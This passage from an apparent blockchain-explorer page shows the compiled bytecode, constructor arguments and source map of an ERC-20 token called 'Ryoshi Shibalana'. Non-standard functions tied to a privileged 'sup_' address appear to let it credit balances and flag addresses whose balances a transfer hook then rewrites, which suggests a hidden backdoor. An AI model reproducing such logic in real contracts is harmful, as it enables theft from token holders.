ffffffffffffffffffffff16815260200190815260200160002054610e0690919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112869190611ace565b60405180910390a3505050565b60008383111582906112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d2919061198c565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60006113bc8461157c565b156114e75780600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140c9190611b20565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854905080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149f9190611b76565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611576565b80600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115329190611b76565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b600060011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b6000813590506115e881611f02565b92915050565b6000813590506115fd81611f19565b92915050565b60008135905061161281611f30565b92915050565b60006020828403121561162a57600080fd5b6000611638848285016115d9565b91505092915050565b6000806040838503121561165457600080fd5b6000611662858286016115d9565b9250506020611673858286016115d9565b9150509250929050565b60008060006060848603121561169257600080fd5b60006116a0868287016115d9565b93505060206116b1868287016115d9565b92505060406116c286828701611603565b9150509250925092565b6000806000606084860312156116e157600080fd5b60006116ef868287016115d9565b9350506020611700868287016115ee565b925050604061171186828701611603565b9150509250925092565b6000806040838503121561172e57600080fd5b600061173c858286016115d9565b925050602061174d85828601611603565b9150509250929050565b60008060006060848603121561176c57600080fd5b600061177a868287016115d9565b935050602061178b86828701611603565b925050604061179c86828701611603565b9150509250925092565b6117af81611baa565b82525050565b6117be81611bbc565b82525050565b60006117cf82611b04565b6117d98185611b0f565b93506117e9818560208601611bff565b6117f281611cc2565b840191505092915050565b600061180a602683611b0f565b915061181582611cd3565b604082019050919050565b600061182d600f83611b0f565b915061183882611d22565b602082019050919050565b6000611850601483611b0f565b915061185b82611d4b565b602082019050919050565b6000611873600e83611b0f565b915061187e82611d74565b602082019050919050565b6000611896602b83611b0f565b91506118a182611d9d565b604082019050919050565b60006118b9602083611b0f565b91506118c482611dec565b602082019050919050565b60006118dc602483611b0f565b91506118e782611e15565b604082019050919050565b60006118ff602583611b0f565b915061190a82611e64565b604082019050919050565b6000611922602383611b0f565b915061192d82611eb3565b604082019050919050565b61194181611be8565b82525050565b61195081611bf2565b82525050565b600060208201905061196b60008301846117a6565b92915050565b600060208201905061198660008301846117b5565b92915050565b600060208201905081810360008301526119a681846117c4565b905092915050565b600060208201905081810360008301526119c7816117fd565b9050919050565b600060208201905081810360008301526119e781611820565b9050919050565b60006020820190508181036000830152611a0781611843565b9050919050565b60006020820190508181036000830152611a2781611866565b9050919050565b60006020820190508181036000830152611a4781611889565b9050919050565b60006020820190508181036000830152611a67816118ac565b9050919050565b60006020820190508181036000830152611a87816118cf565b9050919050565b60006020820190508181036000830152611aa7816118f2565b9050919050565b60006020820190508181036000830152611ac781611915565b9050919050565b6000602082019050611ae36000830184611938565b92915050565b6000602082019050611afe6000830184611947565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b2b82611be8565b9150611b3683611be8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b6b57611b6a611c64565b5b828201905092915050565b6000611b8182611be8565b9150611b8c83611be8565b925082821015611b9f57611b9e611c64565b5b828203905092915050565b6000611bb582611bc8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611c1d578082015181840152602081019050611c02565b83811115611c2c576000848401525b50505050565b60006002820490506001821680611c4a57607f821691505b60208210811415611c5e57611c5d611c93565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f4d757374206861766520726563697069656e7473000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f416d6f756e74206f6620726563697069656e747320616e642076616c7565732060008201527f646f6e2774206d61746368000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611f0b81611baa565b8114611f1657600080fd5b50565b611f2281611bbc565b8114611f2d57600080fd5b50565b611f3981611be8565b8114611f4457600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba73441873861424465a7a91d7fb399acec8f9eac7c95a6c9c3e3b73e359e1df64736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000089f06004a22adadad5029e53e1fa2d10039e756e0000000000000000000000000000000000000000000000000000000218711a00000000000000000000000000000000000000000000000000000000000000001052796f7368692053686962616c616e6100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000652594f5348490000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610204578063dd62ed3e14610234578063f523373714610264578063fb8bf94d14610280576100cf565b8063715018a6146101be5780638da5cb5b146101c857806395d89b41146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e9919061198c565b60405180910390f35b61010c6004803603810190610107919061171b565b61032e565b6040516101199190611971565b60405180910390f35b61012a61034c565b6040516101379190611ace565b60405180910390f35b61015a6004803603810190610155919061167d565b610356565b6040516101679190611971565b60405180910390f35b61017861042f565b6040516101859190611ae9565b60405180910390f35b6101a860048036038101906101a39190611618565b610446565b6040516101b59190611ace565b60405180910390f35b6101c661048f565b005b6101d0610517565b6040516101dd9190611956565b60405180910390f35b6101ee610540565b6040516101fb919061198c565b60405180910390f35b61021e6004803603810190610219919061171b565b6105d2565b60405161022b9190611971565b60405180910390f35b61024e60048036038101906102499190611641565b6105f0565b60405161025b9190611ace565b60405180910390f35b61027e60048036038101906102799190611757565b610677565b005b61029a600480360381019061029591906116cc565b610a5a565b005b6060600580546102ab90611c32565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611c32565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600061034261033b610e1c565b8484610e24565b6001905092915050565b6000600854905090565b6000610363848484610fef565b6104248461036f610e1c565b61041f85604051806060016040528060298152602001611f6f60299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103d5610e1c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112939092919063ffffffff16565b610e24565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610497610e1c565b73ffffffffffffffffffffffffffffffffffffffff166104b5610517565b73ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050290611a4e565b60405180910390fd5b61051560006112e8565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461054f90611c32565b80601f016020809104026020016040519081016040528092919081815260200182805461057b90611c32565b80156105c85780601f1061059d576101008083540402835291602001916105c8565b820191906000526020600020905b8154815290600101906020018083116105ab57829003601f168201915b5050505050905090565b60006105e66105df610e1c565b8484610fef565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390611a2e565b60405180910390fd5b6000831161072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690611a0e565b60405180910390fd5b60008211610772576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610769906119ee565b60405180910390fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156109365780600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108529190611b76565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083816108a19190611b20565b905080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108ee9190611b20565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a53565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109819190611b76565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a0f9190611b20565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60003390506000821015610aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9a90611a0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a906119ce565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cf65782600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c939190611b20565b9250508190555083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610dff565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7e9190611b20565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60008183610e149190611b20565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611a8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb90611aae565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fe29190611ace565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611056906119ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c690611a6e565b60405180910390fd5b6110da8383836113ac565b6110e58383836113b1565b61115181604051806060016040528060278152602001611f4860279139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112939092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0690919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112869190611ace565b60405180910390a3505050565b60008383111582906112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d2919061198c565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60006113bc8461157c565b156114e75780600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140c9190611b20565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600854905080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149f9190611b76565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611576565b80600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115329190611b76565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b600060011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b6000813590506115e881611f02565b92915050565b6000813590506115fd81611f19565b92915050565b60008135905061161281611f30565b92915050565b60006020828403121561162a57600080fd5b6000611638848285016115d9565b91505092915050565b6000806040838503121561165457600080fd5b6000611662858286016115d9565b9250506020611673858286016115d9565b9150509250929050565b60008060006060848603121561169257600080fd5b60006116a0868287016115d9565b93505060206116b1868287016115d9565b92505060406116c286828701611603565b9150509250925092565b6000806000606084860312156116e157600080fd5b60006116ef868287016115d9565b9350506020611700868287016115ee565b925050604061171186828701611603565b9150509250925092565b6000806040838503121561172e57600080fd5b600061173c858286016115d9565b925050602061174d85828601611603565b9150509250929050565b60008060006060848603121561176c57600080fd5b600061177a868287016115d9565b935050602061178b86828701611603565b925050604061179c86828701611603565b9150509250925092565b6117af81611baa565b82525050565b6117be81611bbc565b82525050565b60006117cf82611b04565b6117d98185611b0f565b93506117e9818560208601611bff565b6117f281611cc2565b840191505092915050565b600061180a602683611b0f565b915061181582611cd3565b604082019050919050565b600061182d600f83611b0f565b915061183882611d22565b602082019050919050565b6000611850601483611b0f565b915061185b82611d4b565b602082019050919050565b6000611873600e83611b0f565b915061187e82611d74565b602082019050919050565b6000611896602b83611b0f565b91506118a182611d9d565b604082019050919050565b60006118b9602083611b0f565b91506118c482611dec565b602082019050919050565b60006118dc602483611b0f565b91506118e782611e15565b604082019050919050565b60006118ff602583611b0f565b915061190a82611e64565b604082019050919050565b6000611922602383611b0f565b915061192d82611eb3565b604082019050919050565b61194181611be8565b82525050565b61195081611bf2565b82525050565b600060208201905061196b60008301846117a6565b92915050565b600060208201905061198660008301846117b5565b92915050565b600060208201905081810360008301526119a681846117c4565b905092915050565b600060208201905081810360008301526119c7816117fd565b9050919050565b600060208201905081810360008301526119e781611820565b9050919050565b60006020820190508181036000830152611a0781611843565b9050919050565b60006020820190508181036000830152611a2781611866565b9050919050565b60006020820190508181036000830152611a4781611889565b9050919050565b60006020820190508181036000830152611a67816118ac565b9050919050565b60006020820190508181036000830152611a87816118cf565b9050919050565b60006020820190508181036000830152611aa7816118f2565b9050919050565b60006020820190508181036000830152611ac781611915565b9050919050565b6000602082019050611ae36000830184611938565b92915050565b6000602082019050611afe6000830184611947565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611b2b82611be8565b9150611b3683611be8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b6b57611b6a611c64565b5b828201905092915050565b6000611b8182611be8565b9150611b8c83611be8565b925082821015611b9f57611b9e611c64565b5b828203905092915050565b6000611bb582611bc8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611c1d578082015181840152602081019050611c02565b83811115611c2c576000848401525b50505050565b60006002820490506001821680611c4a57607f821691505b60208210811415611c5e57611c5d611c93565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f4d757374206861766520726563697069656e7473000000000000000000000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f416d6f756e74206f6620726563697069656e747320616e642076616c7565732060008201527f646f6e2774206d61746368000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611f0b81611baa565b8114611f1657600080fd5b50565b611f2281611bbc565b8114611f2d57600080fd5b50565b611f3981611be8565b8114611f4457600080fd5b5056fe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba73441873861424465a7a91d7fb399acec8f9eac7c95a6c9c3e3b73e359e1df64736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000089f06004a22adadad5029e53e1fa2d10039e756e0000000000000000000000000000000000000000000000000000000218711a00000000000000000000000000000000000000000000000000000000000000001052796f7368692053686962616c616e6100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000652594f5348490000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Ryoshi Shibalana
Arg [1] : symbol_ (string): RYOSHI
Arg [2] : sup_ (address): 0x89f06004a22aDaDAd5029e53E1fa2d10039E756E
Arg [3] : totalSupply_ (uint256): 9000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000089f06004a22adadad5029e53e1fa2d10039e756e
Arg [3] : 0000000000000000000000000000000000000000000000000000000218711a00
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000010
Arg [5] : 52796f7368692053686962616c616e6100000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 52594f5348490000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12613:6185:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13490:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14858:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13793:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15060:455;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13692:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13909:157;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12120:94;;;:::i;:::-;;11469:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13589:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14074:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14669:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15529:787;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16998:569;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13490:91;13535:13;13568:5;13561:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13490:91;:::o;14858:194::-;14961:4;14983:39;14992:12;:10;:12::i;:::-;15006:7;15015:6;14983:8;:39::i;:::-;15040:4;15033:11;;14858:194;;;;:::o;13793:108::-;13854:7;13881:12;;13874:19;;13793:108;:::o;15060:455::-;15200:4;15217:36;15227:6;15235:9;15246:6;15217:9;:36::i;:::-;15264:221;15287:6;15308:12;:10;:12::i;:::-;15335:139;15391:6;15335:139;;;;;;;;;;;;;;;;;:11;:19;15347:6;15335:19;;;;;;;;;;;;;;;:33;15355:12;:10;:12::i;:::-;15335:33;;;;;;;;;;;;;;;;:37;;:139;;;;;:::i;:::-;15264:8;:221::i;:::-;15503:4;15496:11;;15060:455;;;;;:::o;13692:91::-;13741:5;13766:9;;;;;;;;;;;13759:16;;13692:91;:::o;13909:157::-;14008:7;14040:9;:18;14050:7;14040:18;;;;;;;;;;;;;;;;14033:25;;13909:157;;;:::o;12120:94::-;11700:12;:10;:12::i;:::-;11689:23;;:7;:5;:7::i;:::-;:23;;;11681:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12185:21:::1;12203:1;12185:9;:21::i;:::-;12120:94::o:0;11469:87::-;11515:7;11542:6;;;;;;;;;;;11535:13;;11469:87;:::o;13589:95::-;13636:13;13669:7;13662:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13589:95;:::o;14074:200::-;14180:4;14202:42;14212:12;:10;:12::i;:::-;14226:9;14237:6;14202:9;:42::i;:::-;14262:4;14255:11;;14074:200;;;;:::o;14669:181::-;14783:7;14815:11;:18;14827:5;14815:18;;;;;;;;;;;;;;;:27;14834:7;14815:27;;;;;;;;;;;;;;;;14808:34;;14669:181;;;;:::o;15529:787::-;15664:12;15679:10;15664:25;;15744:1;15722:24;;:10;:24;;;;15700:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;15845:1;15836:6;:10;15828:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;15899:1;15884:12;:16;15876:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;15936:13;15982:5;:17;15988:10;15982:17;;;;;;;;;;;;;;;;;;;;;;;;;15968:31;;:10;:31;;;15964:345;;;16052:5;16034:9;:15;16044:4;16034:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;16016:9;:15;16026:4;16016:15;;;;;;;;;;;;;;;:41;;;;16081:6;16072:15;;;;;:::i;:::-;;;16150:5;16126:9;:21;16136:10;16126:21;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;16102:9;:21;16112:10;16102:21;;;;;;;;;;;;;;;:53;;;;15964:345;;;16224:5;16206:9;:15;16216:4;16206:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;16188:9;:15;16198:4;16188:15;;;;;;;;;;;;;;;:41;;;;16292:5;16268:9;:21;16278:10;16268:21;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;16244:9;:21;16254:10;16244:21;;;;;;;;;;;;;;;:53;;;;15964:345;15529:787;;;;;:::o;16998:569::-;17117:12;17132:10;17117:25;;17185:1;17175:6;:11;;17153:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;17253:1;17234:21;;:7;:21;;;;17226:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;17286:17;17330:5;:11;17336:4;17330:11;;;;;;;;;;;;;;;;;;;;;;;;;17322:19;;:4;:19;;;17318:242;;;17392:6;17358:11;:17;17370:4;17358:17;;;;;;;;;;;;;;;:30;17376:5;:11;17382:4;17376:11;;;;;;;;;;;;;;;;;;;;;;;;;17358:30;;;;;;;;;;;;;;;;:40;;;;;;;:::i;:::-;;;;;;;;17438:10;17413:13;:22;17427:7;17413:22;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;17318:242;;;17539:9;17510:11;:17;17522:4;17510:17;;;;;;;;;;;;;;;:26;17528:7;17510:26;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;17481:11;:17;17493:4;17481:17;;;;;;;;;;;;;;;:26;17499:7;17481:26;;;;;;;;;;;;;;;:67;;;;17318:242;16998:569;;;;;:::o;6444:98::-;6502:7;6533:1;6529;:5;;;;:::i;:::-;6522:12;;6444:98;;;;:::o;784:::-;837:7;864:10;857:17;;784:98;:::o;17575:382::-;17728:1;17711:19;;:5;:19;;;;17703:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;17810:1;17791:21;;:7;:21;;;;17783:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;17895:6;17865:11;:18;17877:5;17865:18;;;;;;;;;;;;;;;:27;17884:7;17865:27;;;;;;;;;;;;;;;:36;;;;17933:7;17917:32;;17926:5;17917:32;;;17942:6;17917:32;;;;;;:::i;:::-;;;;;;;;17575:382;;;:::o;16324:664::-;16482:1;16464:20;;:6;:20;;;;16456:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;16567:1;16546:23;;:9;:23;;;;16538:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;16623:47;16644:6;16652:9;16663:6;16623:20;:47::i;:::-;16681:42;16697:6;16705:9;16716:6;16681:15;:42::i;:::-;16754:109;16790:6;16754:109;;;;;;;;;;;;;;;;;:9;:17;16764:6;16754:17;;;;;;;;;;;;;;;;:21;;:109;;;;;:::i;:::-;16734:9;:17;16744:6;16734:17;;;;;;;;;;;;;;;:129;;;;16897:32;16922:6;16897:9;:20;16907:9;16897:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;16874:9;:20;16884:9;16874:20;;;;;;;;;;;;;;;:55;;;;16962:9;16945:35;;16954:6;16945:35;;;16973:6;16945:35;;;;;;:::i;:::-;;;;;;;;16324:664;;;:::o;8723:224::-;8843:7;8893:1;8888;:6